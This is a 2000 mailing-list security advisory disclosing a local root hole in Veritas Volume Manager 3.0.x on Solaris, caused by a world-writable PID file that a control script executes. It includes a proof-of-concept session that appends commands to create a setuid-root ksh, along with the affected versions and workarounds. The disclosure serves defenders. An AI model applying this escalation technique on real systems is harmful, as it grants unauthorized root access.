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Subject: Veritas Volume Manager 3.0.x hole
From: Dixie Flatline (echo8WHIP.TWISTEDPAIR.CA)
Date: Fri Jun 16 2000 - 11:13:14 CDT

Veritas Volume Manager 3.0.x for Solaris contains a security hole which can,
under specific circumstances, allow local users to gain root access.


When a system with Veritas Volume Manger 3.0.x installed boots, the
initialization script for the Storage Administrator Server
(/etc/rc2.d/S96vmsa-server) executes without first specifically setting a
umask. When the server comes up, it creates
/var/opt/vmsa/logs/.server_pids with permissions on the file set according
to the inherited umask. Because there is no umask set at that point (under
some versions of Solaris, see below for details), permissions on the
.server_pids file are set to 666.

The control script that is used to start, stop and query the Storage
Administrator Server (/opt/VRTSvmsa/bin/vmsa_server) contains the following
block of code:

        if [ -f $LOGDIR/.server_pids ];
                echo "Stopping $CNAME Server"
                /bin/ksh $LOGDIR/.server_pids >/dev/null 2>&1
                rm -f $LOGDIR/.server_pids
                echo "Unable to stop $CNAME Server"

When this function is invoked, it executes the contents of
/var/opt/vmsa/logs/.server_pids. As this file is world-writeable, an
unprivileged user can put arbitrary commands into it, and they will be executed
as root when the offending function is run. The stop_server() function is only
called if the superuser manually stops the Storage Administrator Server; it is
NOT ordinarily called when the system shuts down. However, if root ever uses
the manual shutdown option to vmsa_server, the system can be compromised.


# append our malicious commands to the world-writeable file

foobar> id
uid=500(foo) gid=25(programmers)
foobar> ls -alt /var/opt/vmsa/logs/.server_pids
-rw-rw-rw- 1 root root 27 Jun 8 16:06 /var/opt/vmsa/logs/.server_pids
foobar> cat >> /var/opt/vmsa/logs/.server_pids
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh
foobar> cat /var/opt/vmsa/logs/.server_pids
kill 328
kill 329
kill 337
cp /bin/ksh /var/tmp; chmod 4755 /var/tmp/ksh

# wait for root to stop the server manually

rootbar> /opt/VRTSvmsa/bin/vmsa_server -k
Stopping VERITAS VM Storage Administrator Server
rootbar> ls -alt /var/tmp
total 406
drwxrwxrwt 2 sys sys 512 Jun 8 17:46 .
-rwsr-xr-x 1 root other 192764 Jun 8 17:46 ksh
-rw------- 1 root root 387 Jun 8 17:46 wsconAAArqayVa:0.0
drwxr-xr-x 26 root sys 512 Jun 8 09:51 ..

# as an unprivileged user, run the suid-root shell we just created...

foobar> /var/tmp/ksh
# id
uid=500(foo) gid=25(programmers) euid=0(root)

Vulnerable Versions

Volume Manager: 3.0.2, 3.0.3, 3.0.4. According to the vendor, this problem
is not present in the current beta release of 3.1. I was not told when to
expect that product to ship. Veritas also stated that there is currently no
plan to patch existing versions.

Solaris: All versions prior to Solaris 8. Solaris 8 sets a umask of 022
during the boot process, which keeps this bug from causing a compromise.

Workaround & Comments

The trivial workaround: add "umask 022" to /etc/rc2.d/S96vmsa-server
before the line that starts the Storage Administrator Server.

Perhaps a better fix would be to change Storage Administrator to only
write process ID numbers to /var/opt/vmsa/logs/.server_pids, and change
the control script to extract only those PIDs from the file, instead of
executing the contents. This would still require that permissions on that
file be sane in order to avoid some level of compromise (otherwise, an
unprivileged user could kill arbitrary processes). A better approach would
be to use a utility like pkill(1) to find and kill the appropriate
processes (a functional equivalent could easily be coded into

I found no previous mention of this hole on SunSolve, (sunsolve.sun.com),
SecurityFocus (www.securityfocus.com), PacketStorm Security
(packetstorm.securify.com), the Veritas web site, the main Sun web site, or in
the archives of the Bugtraq mailing list. My apologies if this is old

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